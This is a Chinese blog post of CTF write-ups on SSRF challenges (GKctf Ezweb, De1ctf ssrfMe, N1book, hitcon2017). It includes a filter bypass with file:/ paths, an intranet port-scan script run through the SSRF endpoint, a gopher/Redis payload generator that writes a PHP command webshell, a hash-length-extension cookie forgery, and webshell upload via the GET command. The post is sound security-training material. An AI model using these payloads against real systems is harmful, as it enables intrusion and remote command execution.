ssrf解题记录

  最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程。

  pwn题最近做的也很少,也要开始做题了。

2020 GKctf:Ezweb

  题目打开如下:

  查看前端页面源码发现hint:get方式提交secret参数。传递secret参数之后发现后端执行了ifconfig命令。

  有了内网ip之后,尝试在输入框输入ip地址,然后发现会对服务器的资源进行请求,请求到资源的结果会显示在页面前端。

  php中常见的请求服务器资源的函数有file_get_content(),curl_exec(),fsockopen(),这些函数都是有可能造成ssrf()的危险函数。题目做到这里的时候,我感觉我打黑盒的经验还很欠缺。

  在url中我们尝试ifconfig中输出的三个ip,发现设置了黑名单过滤了localhost的ip。

  我首先尝试了使用php://filter来读取index.php的源码:

php://filter/read=convert.base64-encode/resource=index.php

  但是页面没有回显,然后我又尝试通过file://伪协议来访问本地文件系统获取index.php的源码。

file://var/www/html/index.php

  发现又是黑名单,但是我第一下没有想到是过滤了"//",我以为是过滤了file伪协议,走了很多弯路,后来看了别人的writeup,又看了php文档,文档中写到了这样的内容:

  "//"被过滤的时候,可以尝试通过"/"和"///"来进行绕过,通过单反斜杠可以绕过黑名单,获取index.php的源码。

  这篇文章中还记录了一些有意思的ssrf的trick:https://www.cnblogs.com/w1hg/p/14363840.html

  审计代码:

<?php
function curl($url){
$ch = curl_init();
// 初始化curl会话
curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt设置curl的选项,CURLOPT_URL返回$url的值
curl_setopt($ch, CURLOPT_HEADER, 0);
// CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
echo curl_exec($ch);
curl_close($ch);
# 关闭curl链接
} if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
# 过滤"file://"
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

  不能使用php://filter来读取文件的原因也找到了。curl_exec()函数支持http://和file://,但是不支持php://filter,所以这里只能通过file://来访问服务器本地文件。

  ifconfig前面其实是给出了内网的网段。ssrf服务器端伪造请求本身就是对于请求的资源没有做出合理的限制,导致通过Web服务器突破了网络边界,从而对内网进行了入侵,现在Web服务器提供了一个url接口,通过curl_exec()来执行资源请求,我们可以借助http服务来实现一个内网主机存活和端口扫描的脚本。或者通过burpsuite intruder直接扫描也可以。

import requests
import time ports = ['80','6379','3306','8080','8000']
session = requests.session()
C_ip = "10.0.27." #内网ip网段
for i in range(1,255):
ip = C_ip + str(i)
for port in ports:
url = 'http://4b4cb162-9ccc-447b-9703-8e551f1d89cb.node4.buuoj.cn/index.php?url=%s:%s&submit=1'%(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0:
print(ip,port,'is open')
except:
continue print('Done.')

  测试之后发现内网10.0.27.6这台主机是目标靶机。

  扫描的过程中发现开放了6379端口,6379端口是redis的默认端口,通过ssrf进而攻击内网redis服务也是常见的套路之一。

  ssrf攻击redis服务实现RCE主要的利用有两种,一种是利用header CRLF注入,一种是利用gopher来进行注入。

  https://joner11234.github.io/article/9d7d2c7d.html

https://blog.chaitin.cn/gopher-attack-surfaces/

  下面两篇文章都讲到了如何利用gopher协议和CRLF注入来拓展ssrf的攻击面,我这里也做一点自己的总结。

  redis协议报文格式如下:

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

  redis协议的是语句是依靠换行符来进行截断的,如果在redis协议报文中构造恶意的"\r\n",我们就可以在其中插入shell语句或者php语句,从而写入文件,通过反弹shell或者phpshell来实现RCE。

  gopher协议是internal早期的一种协议,除了可以返送get和post请求之外,还可以访问redis,ftp等其他端口(这些端口一般又只在内网开放,这种情况下,利用gopher协议就可以极大地拓展攻击面)。

  可以利用一个工具来生成gopher协议的payload:Gopherus

  或者利用其他师傅写的一个脚本专门生成phpshell:

import urllib
protocol="gopher://"
ip="10.0.27.6"
port="6379"
#shell="\n\n<?php system(\"cat /flag\");?>\n\n"
shell="\n\n<?php system($_GET['cmd']);?>"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)

De1ctf 2019:ssrfMe

  一道python的ssrf题目,题目给出了源码app.py,审计源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16)
# 生成16位随机数secert_key class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
# 每个ip创建一个文件夹 def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
# 检查sign是否生成
# geneSign路由生成key,在Task.exec()方法调用前需要先访问geneSign路由
# 这里利用到哈希拓展攻击
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
# action中存在"scan"时,写入临时文件result.txt
resp = scan(self.param)
# scan函数中存在向url请求读入资源的操作
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
# 网页状态码修改为200
if "read" in self.action:
# 如果action中存在"read"字段时,从临时文件中读取内容写入result
f = open("./%s/result.txt" % self.sandbox, 'r')
# 闭合格式化字符串读取文件?
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False # generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
# param=>get传参进行,unquote进行解码
action = "scan"
return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
# 获取访问ip
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
# action = scan
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
# 读取code.txt的值并返回 def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
# scan函数中存在向其他url请求资源的情况
# urlopen(param),param参数为不可信输入,且未经处理到达污染汇聚点
# 题目中提示./flag.txt,直接访问本地文件任意文件读
except:
return "Connection Timeout" def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
# 计算secert_key,param,action的和的md5值
# secret_key不可控,param是data,action是contral_data,./De1ta路由中param和action都是可控的
# 哈希拓展攻击的场景:
# 1.准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
# 2.让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
# 3.服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
# {secret,data,control_data} def md5(content):
return hashlib.md5(content).hexdigest() def waf(param):
check=param.strip().lower()
# 去除空字符并且全部小写
if check.startswith("gopher") or check.startswith("file"):
# startswith:如果字符串以指定的prefix开头,返回true
# param函数的开头禁用了gopher协议和file协议,实际上是限制对内网资源的访问
return True
else:
return False if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

  源码中有三个路由,三个路由对应的功能做一个分析:

  1."./":将源代码返回在前端页面上;

  2."./geneSign":首先生成了16位的随机数secret_key,然后与param和action参数的值进行拼接,返回字符串的md5值;

  3."./De1ta":首先赋值变量,然后调用waf函数检查param中是否存在特定的字符串,然后实例化Task类并且调用Exec方法。Exec方法中首先调用checkSign函数检查cookie中的sign与(secret_key+param+action)返回的md5值是否相等,如果相等的话检查action参数中是否存在"scan"字符串,如果存在"scan"字符串的话,调用open函数打开tmpfile,调用scan函数获取url资源并且写入文件。在调用scan函数的过程中,没有对要获取的资源做出限制,造成ssrf漏洞。如果action参数中存在"read"字符串的话,打开tmpfile并且读入tmpfile的值到result['data']中,最后返回result。

  题目给出了提示,flag在“./flag.txt”中。首先访问"./geneSign"路由,param参数的值为"./flag.txt",action变量的值是硬编码的,此时生成一个sign。

  然后需要了解一下哈希拓展攻击:https://www.cnblogs.com/pcat/p/5478509.html

  这个场景就是一个很明显的哈希拓展攻击的场景,由于在Exec方法中,param参数和action参数我们都是可控的,哈希拓展攻击使用到的工具是hashpump,具体使用方法如图所示:

  Input Signature表示的是初始的哈希值,Input Data是最初contral_data的值,Input Key Length是secret_key和data字符串的长度和,Input Data是contral_data中新添加内容的值。

  最终后面生成的是第二次要输入的哈希值和最终的contral_data。写一个简单的requests脚本发送数据包:

import requests
import hashlib
import hashpumpy url = 'http://f9552bae-8ce4-4ca5-9bc4-e435d7f197dc.node4.buuoj.cn/De1ta'
param = '?param=flag.txt'
payload = url + param
cookies = {"sign":"2cbc83f4b2c2b2f994125f37facbf0b4",
"action":"scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"}
r = requests.get(payload,cookies=cookies)
print(r.text)

  

  这道题看别的师傅的writeup还有一种简便的做法,思路比较巧妙:

  既然两次都是字符串拼接,那在geneSign路由中param=flag.txtread,action=scan,拼接的结果是"flag.txtreadscan",在De1ta路由中,param=flag.txt,action=readscan,拼接的结果是"flag.txtreadscan",依然可以绕过校验。

N1book:ssrf Training

  打开界面如下,challege.php提供了源码:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
# 通过正则表达式限制url访问的协议,url中只允许http协议和https协议
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
} function safe_request_url($url)
{ if (check_inner_ip($url))
# 限制访问内网ip
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# 将curl_exec获取的信息以字符串返回,而不直接输出
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
# 获取传输的信息
if ($result_info['redirect_url'])
# 如果存在重定向
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
} $url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
} ?>

  通过正则限制了url格式,白名单只允许http和https两个协议访问。题目提示了flag.php,输入url直接文件读即可:

hitcon2017 ssrfme

  题目给出源码,审计一下:

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
# HTTP_X_FORWARDED_FOR,返回x_forwarded_for
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
# 返回以","分割的数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
} echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
# $_SERVER["REMOTE_ADDR"]可控
@mkdir($sandbox);
@chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# escapeshellarg把字符转码为可以在shell中使用的参数
# 请求url资源
# vps上保存hack.php
$info = pathinfo($_GET["filename"]);
# pathinfo以数组的形式返回文件路径
# dirname,basename(文件名全名),extension(拓展名),filename(文件名)
# 控制filename 要实现任意文件写需要突破目录限制
$dir = str_replace(".", "", basename($info["dirname"]));
# 输出当前目录
@mkdir($dir);
@chdir($dir);
# 进入目录: ./sandbox/md5_hash/dir
@file_put_contents(basename($info["basename"]), $data);
# 文件中写入从url中获取的资源
highlight_file(__FILE__);
# phpshell需要绕过目录限制
?>

   可以看到,源码中实现了通过shell_exec调用GET命令来请求url资源,并且将请求到的内容写入本地文件的操作,如果我们把webshell放在vps上,然后GET发起请求并且写入文件的话,就可以把webshell写入到本地文件中去。但是写入的文件目录是有限制的,以我开始的想法,这道题目的意思就是想办法绕过目录限制写入webshell来rce。

  感觉比较难办的是basename,查阅文档有如下注释。

  这样一来,似乎只能在sanbox目录下写入文件了,如果是在根目录下,好像没办法传Webshell。

  开始我以为sanbox是根目录下的目录,后来仔细一看是相对路径,是在/var/www/html目录下的,那这个好办了,我在我的vps上先写好马,然后直接写入到相应目录下用蚁剑直接连接即可。

  蚁剑连接后,根目录下可以看到flag和readflag,执行readflag就可以读出文件。

预期解

  题解中解法主要是考察GET命令执行。

  GET是linux一个内置的命令,用来发送get请求,GET命令支持file协议,也就是说可以读取文件和目录结构。同时,只要构造文件名(使文件名为命令加管道符的结构),在文件存在的情况下,GET也可以通过调用perl中open函数实现命令执行的目的。

  然后访问111这个文件就可以看到根目录结构。

  然后创建命令执行的文件

  将file协议访问文件的内容保存到flag文件中去。

  访问文件,获取flag。

  

  

  

  

 

  

  

 

ssrf解题记录的更多相关文章

  1. pwnable.kr input解题记录

    pwnable input解题记录 给了源码如下: #include "stdio.h" #include "unistd.h" #include " ...

  2. angr脚本——以angrctf解题记录为参考

    angr脚本--以angrctf解题记录为参考 ​ angr是用于逆向工程中进行二进制分析的一个python框架 ​ 符号执行 (Symbolic Execution)是一种程序分析技术.其可以通过分 ...

  3. LeetCode解题记录(贪心算法)(二)

    1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...

  4. 实验吧web解题记录

    自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...

  5. LeetCode解题记录(贪心算法)(一)

    1. 前言 目前得到一本不错的算法书籍,页数不多,挺符合我的需要,于是正好借这个机会来好好的系统的刷一下算法题,一来呢,是可以给部分同学提供解题思路,和一些自己的思考,二来呢,我也可以在需要复习的时候 ...

  6. Leetcode解题记录

    尽量抽空刷LeetCode,持续更新 刷题记录在github上面,https://github.com/Zering/LeetCode 2016-09-05 300. Longest Increasi ...

  7. AC自动机解题记录

    1.HDU 2222 Keywords Search 模板题 #include <bits/stdc++.h> #define fir first #define sec second # ...

  8. [LeetCode]Valid Sudoku解题记录

    这道题考查对二维数组的处理,哈希表. 1.最自然的方法就是分别看每一个数是否符合三个规则.所以就须要对应的数据结构来 记录这些信息,判定是否存在.显然最先想到用哈希表. 2.学会把问题抽象成一个个的子 ...

  9. AcWing 791. 高精度加法 解题记录

    题目地址 https://www.acwing.com/problem/content/description/793/ 题目描述给定两个正整数,计算它们的和. 输入格式共两行,每行包含一个整数. 输 ...

随机推荐

  1. 浅析C++的函数式编程

    前言 Java8在Java中通过lambda表达式.Stream API引入了函数式编程,那么C++中是否也支持函数式编程呢?答案是肯定的.目前关于C++进行函数式编程的语法探究的相关博客.文章并不多 ...

  2. DDoS防护方式以及产品

    导航: 这里将一个案例事项按照流程进行了整合,这样查看起来比较清晰.部分资料来自于Cloudflare 1.DDoS介绍 2.常用DDoS攻击 3.DDoS防护方式以及产品 4.Cloudflare ...

  3. 14、CentOS7安装过程中,磁盘大于2T的报错处理

    问题描述 服务器磁盘单盘空间大于2TB,在安装CentOS7时出现下图报错: Boot failure.Reboot and Select proper Boot device... 问题原因: 安装 ...

  4. hdu 6030 矩阵快速幂

    大致题意: 一条长度为n的项链,由红色珠子和蓝色珠子(分别用1和0表示)组成,在连续的素数子段中,红色珠子的个数不能少于蓝色珠子.问组成这个项链有多少种方案,求方案数模1000000007 分析: 首 ...

  5. robotframework使用过程中的一些总结

    p.p1 { margin: 0; font: 20px "Helvetica Neue"; color: rgba(53, 53, 53, 1) } p.p2 { margin: ...

  6. linux学习之路第七天(时间日期类指令详解)

    时间日期类 1.date指令 date指令 - 显示当前日期 基本语法 1)date (功能描述:显示当前时间): 2) date + %Y (功能描述:显示当前年份) 3)date+%m( 功能描述 ...

  7. 容器化-Docker-1-速查手册-Docker常用命令

    目录 备注 常用命令 Docker镜像管理(操作对象是镜像) Docker容器管理(操作对象是容器) 容器外挂目录(宿主目录映射到容器中) 这篇文章的目的就是把最常用的命令列出来,没时间看速查命令使用 ...

  8. ffiddler抓取手机(app)https包

    很多同学有看过原文,但是按照原文还是没有设置成功(我就是其中一个)然后查了网上资料,在某些选项上进行增加,填写,配置通过.(和原文略有不同) 安装Fiddler,我们正常的流程在feiddler中设置 ...

  9. python 操作word

    pip install python.docx from docx import DocumentDoc = Document() 解释:from 从 docx这个文件中,导入一个叫Document的 ...

  10. 家庭账本开发day09

    编写数据表格的编辑操作,大体思路和删除操作一样 点击按钮,弹出修改项目,从父窗口获取已有的值赋给 弹出的子窗口中相应的值,在子窗口中点击提交,ajax请求 servlet修改.成功后重载表格,或者up ...